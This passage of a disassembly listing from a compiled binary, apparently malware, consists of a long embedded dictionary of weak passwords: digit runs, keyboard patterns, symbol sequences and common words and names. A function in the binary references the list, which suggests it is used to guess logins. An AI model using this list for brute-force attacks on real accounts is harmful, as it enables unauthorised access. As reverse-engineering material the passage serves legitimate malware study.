'1959',0 ; DATA XREF: .nsp0:0042E290o align 4 a1958 db '1958',0 ; DATA XREF: .nsp0:0042E28Co align 10h a1957 db '1957',0 ; DATA XREF: .nsp0:0042E288o align 4 a1956 db '1956',0 ; DATA XREF: .nsp0:0042E284o align 10h a1955 db '1955',0 ; DATA XREF: .nsp0:0042E280o align 4 a1954 db '1954',0 ; DATA XREF: .nsp0:0042E27Co align 10h a1953 db '1953',0 ; DATA XREF: .nsp0:0042E278o align 4 a1952 db '1952',0 ; DATA XREF: .nsp0:0042E274o align 10h a1234qwe db '1234qwe',0 ; DATA XREF: .nsp0:0042E270o a1234asd db '1234asd',0 ; DATA XREF: .nsp0:0042E26Co a1234abc db '1234abc',0 ; DATA XREF: .nsp0:0042E268o a123qwer db '123qwer',0 ; DATA XREF: .nsp0:0042E254o a12qwe db '12qwe',0 ; DATA XREF: .nsp0:0042E250o align 4 a12asd db '12asd',0 ; DATA XREF: .nsp0:0042E24Co align 10h a12abc db '12abc',0 ; DATA XREF: .nsp0:0042E248o align 4 a12qwer db '12qwer',0 ; DATA XREF: .nsp0:0042E244o align 10h a1qwe db '1qwe',0 ; DATA XREF: .nsp0:0042E240o align 4 a1asd db '1asd',0 ; DATA XREF: .nsp0:0042E23Co align 10h a1abc db '1abc',0 ; DATA XREF: .nsp0:0042E238o align 4 a1qwer db '1qwer',0 ; DATA XREF: .nsp0:0042E234o align 10h a123467890 db '123467890',0 ; DATA XREF: .nsp0:0042E230o align 4 a12346789 db '12346789',0 ; DATA XREF: .nsp0:0042E22Co align 4 a1234678 db '1234678',0 ; DATA XREF: .nsp0:0042E228o a123467 db '123467',0 ; DATA XREF: .nsp0:0042E224o align 4 a12346 db '12346',0 ; DATA XREF: .nsp0:0042E220o align 10h a121 db '121',0 ; DATA XREF: .nsp0:0042E1F8o a1020 db '1020',0 ; DATA XREF: .nsp0:0042E1F0o align 4 a0258 db '0258',0 ; DATA XREF: .nsp0:0042E1ECo align 4 a8520 db '8520',0 ; DATA XREF: .nsp0:0042E1E8o align 4 a987 db '987',0 ; DATA XREF: .nsp0:0042E1E4o a789 db '789',0 ; DATA XREF: .nsp0:0042E1E0o a654 db '654',0 ; DATA XREF: .nsp0:0042E1DCo a456 db '456',0 ; DATA XREF: .nsp0:0042E1D8o a1122 db '1122',0 ; DATA XREF: .nsp0:0042E1D4o align 4 a0147 db '0147',0 ; DATA XREF: .nsp0:0042E1D0o align 4 a7410 db '7410',0 ; DATA XREF: .nsp0:0042E1CCo align 4 a9999999999 db '9999999999',0 ; DATA XREF: .nsp0:0042E1C4o align 10h a999999999 db '999999999',0 ; DATA XREF: .nsp0:0042E1C0o align 4 a99999999 db '99999999',0 ; DATA XREF: .nsp0:0042E1BCo align 4 a9999999 db '9999999',0 ; DATA XREF: .nsp0:0042E1B8o a999999 db '999999',0 ; DATA XREF: .nsp0:0042E1B4o align 4 a99999 db '99999',0 ; DATA XREF: .nsp0:0042E1B0o align 10h a9999 db '9999',0 ; DATA XREF: .nsp0:0042E1ACo align 4 a999 db '999',0 ; DATA XREF: .nsp0:0042E1A8o a99 db '99',0 ; DATA XREF: .nsp0:0042E1A4o align 10h a9: ; DATA XREF: .nsp0:0042E1A0o unicode 0, <9>,0 a8888888888 db '8888888888',0 ; DATA XREF: .nsp0:0042E19Co align 10h a888888888 db '888888888',0 ; DATA XREF: .nsp0:0042E198o align 4 a8888888 db '8888888',0 ; DATA XREF: .nsp0:0042E190o a888888 db '888888',0 ; DATA XREF: .nsp0:0042E18Co align 4 a88888 db '88888',0 ; DATA XREF: .nsp0:0042E188o align 4 a8888 db '8888',0 ; DATA XREF: .nsp0:0042E184o align 4 a888 db '888',0 ; DATA XREF: .nsp0:0042E180o a88 db '88',0 ; DATA XREF: .nsp0:0042E17Co align 4 a8: ; DATA XREF: .nsp0:0042E178o unicode 0, <8>,0 a7777777777 db '7777777777',0 ; DATA XREF: .nsp0:0042E174o align 4 a777777777 db '777777777',0 ; DATA XREF: .nsp0:0042E170o align 10h a77777777 db '77777777',0 ; DATA XREF: .nsp0:0042E16Co align 4 a7777777 db '7777777',0 ; DATA XREF: .nsp0:0042E168o a777777 db '777777',0 ; DATA XREF: .nsp0:0042E164o align 4 a77777 db '77777',0 ; DATA XREF: .nsp0:0042E160o align 4 a7777 db '7777',0 ; DATA XREF: .nsp0:0042E15Co align 4 a777 db '777',0 ; DATA XREF: .nsp0:0042E158o a77 db '77',0 ; DATA XREF: .nsp0:0042E154o align 4 a7: ; DATA XREF: .nsp0:0042E150o unicode 0, <7>,0 a6666666666 db '6666666666',0 ; DATA XREF: .nsp0:0042E14Co align 4 a666666666 db '666666666',0 ; DATA XREF: .nsp0:0042E148o align 10h a66666666 db '66666666',0 ; DATA XREF: .nsp0:0042E144o align 4 a6666666 db '6666666',0 ; DATA XREF: .nsp0:0042E140o a666666 db '666666',0 ; DATA XREF: .nsp0:0042E13Co align 4 a66666 db '66666',0 ; DATA XREF: .nsp0:0042E138o align 4 a6666 db '6666',0 ; DATA XREF: .nsp0:0042E134o align 4 a666 db '666',0 ; DATA XREF: .nsp0:0042E130o a66 db '66',0 ; DATA XREF: .nsp0:0042E12Co align 4 a6: ; DATA XREF: .nsp0:0042E128o unicode 0, <6>,0 a5555555555 db '5555555555',0 ; DATA XREF: .nsp0:0042E124o align 4 a555555555 db '555555555',0 ; DATA XREF: .nsp0:0042E120o align 10h a55555555 db '55555555',0 ; DATA XREF: .nsp0:0042E11Co align 4 a5555555 db '5555555',0 ; DATA XREF: .nsp0:0042E118o a555555 db '555555',0 ; DATA XREF: .nsp0:0042E114o align 4 a55555 db '55555',0 ; DATA XREF: .nsp0:0042E110o align 4 a5555 db '5555',0 ; DATA XREF: .nsp0:0042E10Co align 4 a555 db '555',0 ; DATA XREF: .nsp0:0042E108o a55 db '55',0 ; DATA XREF: .nsp0:0042E104o align 4 a5: ; DATA XREF: .nsp0:0042E100o unicode 0, <5>,0 a4444444444 db '4444444444',0 ; DATA XREF: .nsp0:0042E0FCo align 4 a444444444 db '444444444',0 ; DATA XREF: .nsp0:0042E0F8o align 10h a44444444 db '44444444',0 ; DATA XREF: .nsp0:0042E0F4o align 4 a4444444 db '4444444',0 ; DATA XREF: .nsp0:0042E0F0o a444444 db '444444',0 ; DATA XREF: .nsp0:0042E0ECo align 4 a44444 db '44444',0 ; DATA XREF: .nsp0:0042E0E8o align 4 a4444 db '4444',0 ; DATA XREF: .nsp0:0042E0E4o align 4 a444 db '444',0 ; DATA XREF: .nsp0:0042E0E0o a44 db '44',0 ; DATA XREF: .nsp0:0042E0DCo align 4 a4: ; DATA XREF: .nsp0:0042E0D8o unicode 0, <4>,0 a3333333333 db '3333333333',0 ; DATA XREF: .nsp0:0042E0D4o align 4 a333333333 db '333333333',0 ; DATA XREF: .nsp0:0042E0D0o align 10h a33333333 db '33333333',0 ; DATA XREF: .nsp0:0042E0CCo align 4 a3333333 db '3333333',0 ; DATA XREF: .nsp0:0042E0C8o a333333 db '333333',0 ; DATA XREF: .nsp0:0042E0C4o align 4 a33333 db '33333',0 ; DATA XREF: .nsp0:0042E0C0o align 4 a3333 db '3333',0 ; DATA XREF: .nsp0:0042E0BCo align 4 a333 db '333',0 ; DATA XREF: .nsp0:0042E0B8o a33 db '33',0 ; DATA XREF: .nsp0:0042E0B4o align 4 a3: ; DATA XREF: .nsp0:0042E0B0o unicode 0, <3>,0 a2222222222 db '2222222222',0 ; DATA XREF: .nsp0:0042E0ACo align 4 a222222222 db '222222222',0 ; DATA XREF: .nsp0:0042E0A8o align 10h a22222222 db '22222222',0 ; DATA XREF: .nsp0:0042E0A4o align 4 a2222222 db '2222222',0 ; DATA XREF: .nsp0:0042E0A0o a222222 db '222222',0 ; DATA XREF: .nsp0:0042E09Co align 4 a22222 db '22222',0 ; DATA XREF: .nsp0:0042E098o align 4 a2222 db '2222',0 ; DATA XREF: .nsp0:0042E094o align 4 a222 db '222',0 ; DATA XREF: .nsp0:0042E090o a22 db '22',0 ; DATA XREF: .nsp0:0042E08Co align 4 a2: ; DATA XREF: .nsp0:0042E088o unicode 0, <2>,0 a1111111111 db '1111111111',0 ; DATA XREF: .nsp0:0042E084o align 4 a111111111 db '111111111',0 ; DATA XREF: .nsp0:0042E080o align 10h a1111111 db '1111111',0 ; DATA XREF: .nsp0:0042E078o a11111 db '11111',0 ; DATA XREF: .nsp0:0042E070o align 10h a1111 db '1111',0 ; DATA XREF: .nsp0:0042E06Co align 4 a11 db '11',0 ; DATA XREF: .nsp0:0042E064o align 4 a010 db '010',0 ; DATA XREF: .nsp0:0042E054o a009 db '009',0 ; DATA XREF: .nsp0:0042E050o a008 db '008',0 ; DATA XREF: .nsp0:0042E04Co a006 db '006',0 ; DATA XREF: .nsp0:0042E044o a005 db '005',0 ; DATA XREF: sub_40CE55+215o ; .nsp0:0042E040o a004 db '004',0 ; DATA XREF: .nsp0:0042E03Co a003 db '003',0 ; DATA XREF: .nsp0:0042E038o a002 db '002',0 ; DATA XREF: .nsp0:0042E034o a001 db '001',0 ; DATA XREF: sub_40CE55+200o ; .nsp0:0042E030o asc_42F2E0 db '*********',0 ; DATA XREF: .nsp0:0042E02Co align 4 asc_42F2EC db '********',0 ; DATA XREF: .nsp0:0042E028o align 4 asc_42F2F8 db '*******',0 ; DATA XREF: .nsp0:0042E024o asc_42F300 db '******',0 ; DATA XREF: .nsp0:0042E020o align 4 asc_42F308 db '*****',0 ; DATA XREF: .nsp0:0042E01Co align 10h asc_42F310 db '****',0 ; DATA XREF: .nsp0:0042E018o align 4 asc_42F318 db '***',0 ; DATA XREF: .nsp0:0042E014o asc_42F31C db '**',0 ; DATA XREF: .nsp0:0042E010o align 10h a0000000000 db '0000000000',0 ; DATA XREF: .nsp0:0042E008o align 4 a000000000 db '000000000',0 ; DATA XREF: .nsp0:0042E004o align 4 a@ db '@!',0 ; DATA XREF: .nsp0:0042DFE4o align 4 a@_0 db '#@!',0 ; DATA XREF: .nsp0:0042DFE0o a@_1 db '$#@!',0 ; DATA XREF: .nsp0:0042DFDCo align 4 a@_2 db '%$#@!',0 ; DATA XREF: .nsp0:0042DFD8o align 10h a@_3 db '^%$#@!',0 ; DATA XREF: .nsp0:0042DFD4o align 4 a@_4 db '&^%$#@!',0 ; DATA XREF: .nsp0:0042DFD0o a@_5 db '*&^%$#@!',0 ; DATA XREF: .nsp0:0042DFCCo align 4 asc_42F36C db '$$$',0 ; DATA XREF: .nsp0:0042DFC8o asc_42F370 db '$$',0 ; DATA XREF: .nsp0:0042DFC4o align 4 asc_42F374: ; DATA XREF: .nsp0:0042DFC0o unicode 0, <$>,0 a456_0 db '456+',0 ; DATA XREF: .nsp0:0042DFBCo align 10h a789_0 db '789+',0 ; DATA XREF: .nsp0:0042DFB8o align 4 a0 db '=-0',0 ; DATA XREF: .nsp0:0042DFB4o asc_42F38C db '--++',0 ; DATA XREF: .nsp0:0042DFB0o align 4 asc_42F394 db '-+',0 ; DATA XREF: .nsp0:0042DFACo align 4 asc_42F398 db '----',0 ; DATA XREF: .nsp0:0042DFA8o align 10h asc_42F3A0 db '--',0 ; DATA XREF: .nsp0:0042DFA0o ; .nsp0:0042DFA4o align 4 asc_42F3A4: ; DATA XREF: .nsp0:0042DF9Co unicode 0, <->,0 asc_42F3A8 db '++++',0 ; DATA XREF: .nsp0:0042DF98o align 10h asc_42F3B0 db '+++',0 ; DATA XREF: .nsp0:0042DF94o asc_42F3B4 db '++',0 ; DATA XREF: .nsp0:0042DF90o align 4 asc_42F3B8: ; DATA XREF: .nsp0:0042DF8Co unicode 0, <+>,0 a@@ db '@@',0 ; DATA XREF: .nsp0:0042DF88o align 10h a@_6: ; DATA XREF: sub_40CE55+23Ao ; .nsp0:0042DF84o unicode 0, <@>,0 off_42F3C4 dd offset loc_40211D+4 ; DATA XREF: .nsp0:0042DF80o dword_42F3C8 dd 2121h ; DATA XREF: .nsp0:0042DF7Co dword_42F3CC dd 24234021h, 2A265E25h, 0 ; DATA XREF: .nsp0:0042DF74o dword_42F3D8 dd 24234021h, 265E25h ; DATA XREF: .nsp0:0042DF70o dword_42F3E0 dd 24234021h, 5E25h ; DATA XREF: .nsp0:0042DF6Co dword_42F3E8 dd 24234021h, 25h ; DATA XREF: .nsp0:0042DF68o dword_42F3F0 dd 234021h ; DATA XREF: .nsp0:0042DF64o dword_42F3F4 dd 4021h ; DATA XREF: .nsp0:0042DF60o dword_42F3F8 dd 21h ; DATA XREF: sub_40CE55+19Ao ; sub_40CE55+5B5Fo ... dword_42F3FC dd 25h ; DATA XREF: .nsp0:0042DF58o aZimmerman db 'zimmerman',0 ; DATA XREF: .nsp0:0042DF54o align 4 aZap db 'zap',0 ; DATA XREF: .nsp0:0042DF50o aYellowstone db 'yellowstone',0 ; DATA XREF: .nsp0:0042DF4Co aXyz db 'xyz',0 ; DATA XREF: .nsp0:0042DF48o ; .nsp0:0042E440o aWisconsin db 'wisconsin',0 ; DATA XREF: .nsp0:0042DF44o align 4 aWilliamsburg db 'williamsburg',0 ; DATA XREF: .nsp0:0042DF40o align 4 aWholesale db 'wholesale',0 ; DATA XREF: .nsp0:0042DF3Co align 4 aTty db 'tty',0 ; DATA XREF: .nsp0:0042DF38o aTopography db 'topography',0 ; DATA XREF: .nsp0:0042DF34o align 4 aTemptation db 'temptation',0 ; DATA XREF: .nsp0:0042DF30o align 4 aTelephone db 'telephone',0 ; DATA XREF: .nsp0:0042DF2Co align 10h aTangerine db 'tangerine',0 ; DATA XREF: .nsp0:0042DF28o align 4 aSys db 'sys',0 ; DATA XREF: .nsp0:0042DF24o aSupported db 'supported',0 ; DATA XREF: .nsp0:0042DF20o align 4 aSuperuser db 'superuser',0 ; DATA XREF: .nsp0:0042DF1Co align 4 aSuperstage db 'superstage',0 ; DATA XREF: .nsp0:0042DF18o align 4 aSun db 'sun',0 ; DATA XREF: .nsp0:0042DF14o aStuttgart db 'stuttgart',0 ; DATA XREF: .nsp0:0042DF10o align 4 aStratford db 'stratford',0 ; DATA XREF: .nsp0:0042DF0Co align 10h aStephanie db 'stephanie',0 ; DATA XREF: .nsp0:0042DF08o align 4 aSignature db 'signature',0 ; DATA XREF: .nsp0:0042DF04o align 4 aSheffield db 'sheffield',0 ; DATA XREF: .nsp0:0042DF00o align 4 aSal db 'sal',0 ; DATA XREF: .nsp0:0042DEFCo aRochester db 'rochester',0 ; DATA XREF: .nsp0:0042DEF8o align 4 aRje db 'rje',0 ; DATA XREF: .nsp0:0042DEF4o aRachmaninoff db 'rachmaninoff',0 ; DATA XREF: .nsp0:0042DEF0o align 4 aPub db 'pub',0 ; DATA XREF: .nsp0:0042DEECo aProfessor db 'professor',0 ; DATA XREF: .nsp0:0042DEE8o align 4 aPrinceton db 'princeton',0 ; DATA XREF: .nsp0:0042DEE4o align 4 aPondering db 'pondering',0 ; DATA XREF: .nsp0:0042DEE0o align 10h aPolynomial db 'polynomial',0 ; DATA XREF: .nsp0:0042DEDCo align 4 aPersimmon db 'persimmon',0 ; DATA XREF: .nsp0:0042DED8o align 4 aPercolate db 'percolate',0 ; DATA XREF: .nsp0:0042DED4o align 4 aPam db 'pam',0 ; DATA XREF: .nsp0:0042DED0o aPad db 'pad',0 ; DATA XREF: .nsp0:0042DECCo aOceanography db 'oceanography',0 ; DATA XREF: .nsp0:0042DEC8o align 4 aNutrition db 'nutrition',0 ; DATA XREF: .nsp0:0042DEC4o align 4 aNew db 'new',0 ; DATA XREF: .nsp0:0042DEC0o aNet db 'net',0 ; DATA XREF: .nsp0:0042DEBCo aMit db 'mit',0 ; DATA XREF: .nsp0:0042DEB8o aMgr db 'mgr',0 ; DATA XREF: .nsp0:0042DEB4o aMacintosh db 'macintosh',0 ; DATA XREF: .nsp0:0042DEB0o align 4 aLiz db 'liz',0 ; DATA XREF: .nsp0:0042DEACo aLee db 'lee',0 ; DATA XREF: .nsp0:0042DEA8o aLamination db 'lamination',0 ; DATA XREF: .nsp0:0042DEA4o align 4 aKim db 'kim',0 ; DATA XREF: .nsp0:0042DEA0o aJoy db 'joy',0 ; DATA XREF: .nsp0:0042DE98o aJen db 'jen',0 ; DATA XREF: .nsp0:0042DE94o aInnocuous db 'innocuous',0 ; DATA XREF: .nsp0:0042DE90o align 10h aImbroglio db 'imbroglio',0 ; DATA XREF: .nsp0:0042DE8Co align 4 aIbm db 'ibm',0 ; DATA XREF: .nsp0:0042DE88o aHappening db 'happening',0 ; DATA XREF: .nsp0:0042DE84o align 4 aHal db 'hal',0 ; DATA XREF: .nsp0:0042DE80o aGnu db 'gnu',0 ; DATA XREF: .nsp0:0042DE7Co aFun db 'fun',0 ; DATA XREF: .nsp0:0042DE78o aForesight db 'foresight',0 ; DATA XREF: .nsp0:0042DE74o align 4 aFoolproof db 'foolproof',0 ; DATA XREF: .nsp0:0042DE70o align 10h aExtension db 'extension',0 ; DATA XREF: .nsp0:0042DE6Co align 4 aEstablish db 'establish',0 ; DATA XREF: .nsp0:0042DE68o align 4 aEnterprise db 'enterprise',0 ; DATA XREF: .nsp0:0042DE64o align 4 aElizabeth db 'elizabeth',0 ; DATA XREF: .nsp0:0042DE60o align 10h aEiderdown db 'eiderdown',0 ; DATA XREF: .nsp0:0042DE5Co align 4 aEdinburgh db 'edinburgh',0 ; DATA XREF: .nsp0:0042DE58o align 4 aDos db 'dos',0 ; DATA XREF: .nsp0:0042DE54o aDog db 'dog',0 ; DATA XREF: .nsp0:0042DE50o aDiscovery db 'discovery',0 ; DATA XREF: .nsp0:0042DE4Co align 4 aDesperate db 'desperate',0 ; DATA XREF: .nsp0:0042DE48o align 4 aDeb db 'deb',0 ; DATA XREF: .nsp0:0042DE44o aCornelius db 'cornelius',0 ; DATA XREF: .nsp0:0042DE40o align 4 aCommrades db 'commrades',0 ; DATA XREF: .nsp0:0042DE3Co align 4 aChristine db 'christine',0 ; DATA XREF: .nsp0:0042DE38o align 10h aChristina db 'christina',0 ; DATA XREF: .nsp0:0042DE34o align 4 aChemistry db 'chemistry',0 ; DATA XREF: .nsp0:0042DE30o align 4 aCatherine db 'catherine',0 ; DATA XREF: .nsp0:0042DE2Co align 4 aCat db 'cat',0 ; DATA XREF: .nsp0:0042DE28o aCampanile db 'campanile',0 ; DATA XREF: .nsp0:0042DE24o align 4 aCad db 'cad',0 ; DATA XREF: .nsp0:0042DE20o aBsd db 'bsd',0 ; DATA XREF: .nsp0:0042DE1Co aBob db 'bob',0 ; DATA XREF: .nsp0:0042DE18o aBicameral db 'bicameral',0 ; DATA XREF: .nsp0:0042DE14o align 4 aBeethoven db 'beethoven',0 ; DATA XREF: .nsp0:0042DE10o align 4 aAtmosphere db 'atmosphere',0 ; DATA XREF: .nsp0:0042DE0Co align 4 aAsm db 'asm',0 ; DATA XREF: .nsp0:0042DE08o aAsd db 'asd',0 ; DATA XREF: .nsp0:0042DE04o ; .nsp0:0042E470o aAnthropogenic db 'anthropogenic',0 ; DATA XREF: .nsp0:0042DE00o align 4 aAnn db 'ann',0 ; DATA XREF: .nsp0:0042DDFCo aAndromache db 'andromache',0 ; DATA XREF: .nsp0:0042DDF8o align 4 aAmy db 'amy',0 ; DATA XREF: .nsp0:0042DDF4o aAmorphous db 'amorphous',0 ; DATA XREF: .nsp0:0042DDF0o align 4 aAma db 'ama',0 ; DATA XREF: .nsp0:0042DDECo aAlf db 'alf',0 ; DATA XREF: .nsp0:0042DDE8o aAlbatross db 'albatross',0 ; DATA XREF: .nsp0:0042DDE4o align 10h aAda db 'ada',0 ; DATA XREF: .nsp0:0042DDE0o aH4x0ring db 'h4x0ring',0 ; DATA XREF: .nsp0:0042DDDCo align 10h aH4x0r1ng db 'h4x0r1ng',0 ; DATA XREF: .nsp0:0042DDD8o align 4 aH4x1ng db 'h4x1ng',0 ; DATA XREF: .nsp0:0042DDD4o align 4 aHaxing db 'haxing',0 ; DATA XREF: .nsp0:0042DDD0o align 4 aHax db 'hax',0 ; DATA XREF: .nsp0:0042DDCCo aWh0re db 'wh0re',0 ; DATA XREF: .nsp0:0042DDC8o align 4 aHo db 'ho',0 ; DATA XREF: .nsp0:0042DDC4o align 4 aWh0r3 db 'wh0r3',0 ; DATA XREF: .nsp0:0042DDC0o align 4 aWindoze95 db 'windoze95',0 ; DATA XREF: .nsp0:0042DDBCo align 10h aWindoze98 db 'windoze98',0 ; DATA XREF: .nsp0:0042DDB8o align 4 aWindozeme db 'windozeME',0 ; DATA XREF: .nsp0:0042DDB4o align 4 aWindoze2k db 'windoze2k',0 ; DATA XREF: .nsp0:0042DDB0o align 4 aWindozexp db 'windozexp',0 ; DATA XREF: .nsp0:0042DDACo align 10h aWindows95 db 'windows95',0 ; DATA XREF: .nsp0:0042DDA8o align 4 aWindows98 db 'windows98',0 ; DATA XREF: .nsp0:0042DDA4o align 4 aWindowsme db 'windowsME',0 ; DATA XREF: .nsp0:0042DDA0o align 4 aWindows2k db 'windows2k',0 ; DATA XREF: .nsp0:0042DD9Co align 10h aWindowsxp db 'WindowsXP',0 ; DATA XREF: .nsp0:0042DD98o align 4 aMs db 'MS',0 ; DATA XREF: .nsp0:0042DD94o align 10h aM_0 db 'M$',0 ; DATA XREF: .nsp0:0042DD90o align 4 aBilly db 'billy',0 ; DATA XREF: .nsp0:0042DD8Co align 4 aWindose db 'windose',0 ; DATA XREF: .nsp0:0042DD88o aWindoze db 'windoze',0 ; DATA XREF: .nsp0:0042DD84o aWindowz db 'windowz',0 ; DATA XREF: .nsp0:0042DD80o aWileecoyote db 'wileecoyote',0 ; DATA XREF: .nsp0:0042DD7Co aDonaldduck db 'donaldduck',0 ; DATA XREF: .nsp0:0042DD78o align 4 aAlexander db 'Alexander',0 ; DATA XREF: .nsp0:0042DD74o align 4 aAl3x db 'Al3x',0 ; DATA XREF: .nsp0:0042DD70o align 10h aDud3 db 'dud3',0 ; DATA XREF: .nsp0:0042DD6Co align 4 aDudette db 'dudette',0 ; DATA XREF: .nsp0:0042DD68o aD00d db 'd00d',0 ; DATA XREF: .nsp0:0042DD64o align 4 aLol db 'lol',0 ; DATA XREF: .nsp0:0042DD60o aRoscopcoltrane db 'RoscoPColtrane',0 ; DATA XREF: .nsp0:0042DD5Co align 4 aRoscop db 'RoscoP',0 ; DATA XREF: .nsp0:0042DD58o align 4 aRosco db 'Rosco',0 ; DATA XREF: .nsp0:0042DD54o align 4 aRoss db 'Ross',0 ; DATA XREF: .nsp0:0042DD50o align 4 aTestin db 'testin',0 ; DATA XREF: .nsp0:0042DD4Co align 4 aTester db 'tester',0 ; DATA XREF: .nsp0:0042DD48o align 4 a00000000 db '00000000',0 ; DATA XREF: .nsp0:0042DD44o ; .nsp0:0042E000o align 10h aZulu db 'zulu',0 ; DATA XREF: .nsp0:0042DD40o align 4 aZombie db 'zombie',0 ; DATA XREF: .nsp0:0042DD3Co align 10h aZmodem db 'zmodem',0 ; DATA XREF: .nsp0:0042DD38o align 4 aZimmerma db 'zimmerma',0 ; DATA XREF: .nsp0:0042DD34o align 4 aZiggy db 'ziggy',0 ; DATA XREF: .nsp0:0042DD30o align 4 aZeitgeis db 'zeitgeis',0 ; DATA XREF: .nsp0:0042DD2Co align 4 aZebra db 'zebra',0 ; DATA XREF: .nsp0:0042DD28o align 10h aYoung db 'young',0 ; DATA XREF: .nsp0:0042DD24o align 4 aYosemite db 'yosemite',0 ; DATA XREF: .nsp0:0042DD20o align 4 aYolanda db 'yolanda',0 ; DATA XREF: .nsp0:0042DD1Co aYellowst db 'yellowst',0 ; DATA XREF: .nsp0:0042DD18o align 4 aYellow db 'yellow',0 ; DATA XREF: .nsp0:0042DD14o align 10h aYankee db 'yankee',0 ; DATA XREF: .nsp0:0042DD10o align 4 aYang db 'yang',0 ; DATA XREF: .nsp0:0042DD0Co ; .nsp0:0042E448o align 10h aYaco db 'yaco',0 ; DATA XREF: .nsp0:0042DD08o ; .nsp0:0042E444o align 4 aXyzzy db 'xyzzy',0 ; DATA XREF: .nsp0:0042DD04o align 10h aXray db 'xray',0 ; DATA XREF: .nsp0:0042DD00o align 4 aXmodem db 'xmodem',0 ; DATA XREF: .nsp0:0042DCFCo align 10h aXmen db 'xmen',0 ; DATA XREF: .nsp0:0042DCF8o align 4 aXman db 'xman',0 ; DATA XREF: .nsp0:0042DCF4o align 10h aXfer db 'xfer',0 ; DATA XREF: .nsp0:0042DCF0o align 4 aXena db 'xena',0 ; DATA XREF: .nsp0:0042DCECo align 10h aWyoming db 'wyoming',0 ; DATA XREF: .nsp0:0042DCE8o aWwii db 'wwii',0 ; DATA XREF: .nsp0:0042DCE4o align 10h aWormwood db 'wormwood',0 ; DATA XREF: .nsp0:0042DCE0o align 4 aWorm db 'worm',0 ; DATA XREF: .nsp0:0042DCDCo align 4 aWork db 'work',0 ; DATA XREF: .nsp0:0042DCD8o align 4 aWorf db 'worf',0 ; DATA XREF: .nsp0:0042DCD4o align 4 aWordperf db 'wordperf',0 ; DATA XREF: .nsp0:0042DCD0o align 10h aWord db 'word',0 ; DATA XREF: .nsp0:0042DCCCo align 4 aWoodwind db 'woodwind',0 ; DATA XREF: .nsp0:0042DCC8o align 4 aWood db 'wood',0 ; DATA XREF: .nsp0:0042DCC4o align 4 aWomen db 'women',0 ; DATA XREF: .nsp0:0042DCC0o align 4 aWombat db 'wombat',0 ; DATA XREF: .nsp0:0042DCBCo align 4 aWoman db 'woman',0 ; DATA XREF: .nsp0:0042DCB8o align 4 aWolverin db 'wolverin',0 ; DATA XREF: .nsp0:0042DCB4o align 10h aWolf db 'wolf',0 ; DATA XREF: .nsp0:0042DCB0o align 4 aWizard db 'wizard',0 ; DATA XREF: .nsp0:0042DCACo align 10h aWithin db 'within',0 ; DATA XREF: .nsp0:0042DCA8o align 4 aWiseass db 'wiseass',0 ; DATA XREF: .nsp0:0042DCA4o aWisconsi db 'wisconsi',0 ; DATA XREF: .nsp0:0042DCA0o align 4 aWired db 'wired',0 ; DATA XREF: .nsp0:0042DC9Co align 4 aWinston db 'winston',0 ; DATA XREF: .nsp0:0042DC98o aWing db 'wing',0 ; DATA XREF: .nsp0:0042DC94o align 4 aWine db 'wine',0 ; DATA XREF: .nsp0:0042DC90o align 4 aWindows db 'windows',0 ; DATA XREF: .nsp0:0042DC8Co aWilma db 'wilma',0 ; DATA XREF: .nsp0:0042DC88o align 4 aWillie db 'willie',0 ; DATA XREF: .nsp0:0042DC84o align 4 aWilliams db 'williams',0 ; DATA XREF: .nsp0:0042DC80o align 10h aWilliam db 'william',0 ; DATA XREF: .nsp0:0042DC7Co aWill db 'will',0 ; DATA XREF: .nsp0:0042DC78o align 10h aWhore db 'whore',0 ; DATA XREF: .nsp0:0042DC74o align 4 aWholesal db 'wholesal',0 ; DATA XREF: .nsp0:0042DC70o align 4 aWhitney db 'whitney',0 ; DATA XREF: .nsp0:0042DC6Co aWhiting db 'whiting',0 ; DATA XREF: .nsp0:0042DC68o aWhite db 'white',0 ; DATA XREF: .nsp0:0042DC64o align 4 aWhisky db 'whisky',0 ; DATA XREF: .nsp0:0042DC60o align 4 aWhatnot db 'whatnot',0 ; DATA XREF: .nsp0:0042DC5Co aWhatever db 'whatever',0 ; DATA XREF: .nsp0:0042DC58o align 4 aWestern db 'western',0 ; DATA XREF: .nsp0:0042DC54o aWest db 'west',0 ; DATA XREF: .nsp0:0042DC50o align 4 aWerewolf db 'werewolf',0 ; DATA XREF: .nsp0:0042DC4Co align 4 aWendy db 'wendy',0 ; DATA XREF: .nsp0:0042DC48o align 4 aWendi db 'wendi',0 ; DATA XREF: .nsp0:0042DC44o align 4 aWell db 'well',0 ; DATA XREF: .nsp0:0042DC40o align 4 aWeenie db 'weenie',0 ; DATA XREF: .nsp0:0042DC3Co align 4 aWeed db 'weed',0 ; DATA XREF: .nsp0:0042DC38o align 4 aWednesda db 'wednesda',0 ; DATA XREF: .nsp0:0042DC34o align 4 aWebpage db 'webpage',0 ; DATA XREF: .nsp0:0042DC30o aWave db 'wave',0 ; DATA XREF: .nsp0:0042DC2Co align 4 aWater db 'water',0 ; DATA XREF: .nsp0:0042DC28o align 10h aWatchwor db 'watchwor',0 ; DATA XREF: .nsp0:0042DC24o align 4 aWasp db 'wasp',0 ; DATA XREF: .nsp0:0042DC20o align 4 aWarren db 'warren',0 ; DATA XREF: .nsp0:0042DC1Co align 4 aWarp db 'warp',0 ; DATA XREF: .nsp0:0042DC18o align 4 aWargames db 'wargames',0 ; DATA XREF: .nsp0:0042DC14o align 10h aWarfare db 'warfare',0 ; DATA XREF: .nsp0:0042DC10o aWarez db 'warez',0 ; DATA XREF: .nsp0:0042DC0Co align 10h aWard db 'ward',0 ; DATA XREF: .nsp0:0042DC08o align 4 aWaco db 'waco',0 ; DATA XREF: .nsp0:0042DC04o align 10h aVodka db 'vodka',0 ; DATA XREF: .nsp0:0042DC00o align 4 aVisualba db 'visualba',0 ; DATA XREF: .nsp0:0042DBFCo align 4 aVisual db 'visual',0 ; DATA XREF: .nsp0:0042DBF8o align 4 aVisitor db 'visitor',0 ; DATA XREF: .nsp0:0042DBF4o aVirus db 'virus',0 ; DATA XREF: .nsp0:0042DBF0o align 4 aVirginia db 'virginia',0 ; DATA XREF: .nsp0:0042DBECo align 4 aVirgin db 'virgin',0 ; DATA XREF: .nsp0:0042DBE8o align 10h aVillage db 'village',0 ; DATA XREF: .nsp0:0042DBE4o aVideogam db 'videogam',0 ; DATA XREF: .nsp0:0042DBE0o align 4 aVideo db 'video',0 ; DATA XREF: .nsp0:0042DBDCo align 4 aVictor db 'victor',0 ; DATA XREF: .nsp0:0042DBD8o align 4 aVicky db 'vicky',0 ; DATA XREF: .nsp0:0042DBD4o align 4 aVertigo db 'vertigo',0 ; DATA XREF: .nsp0:0042DBD0o aVeronica db 'veronica',0 ; DATA 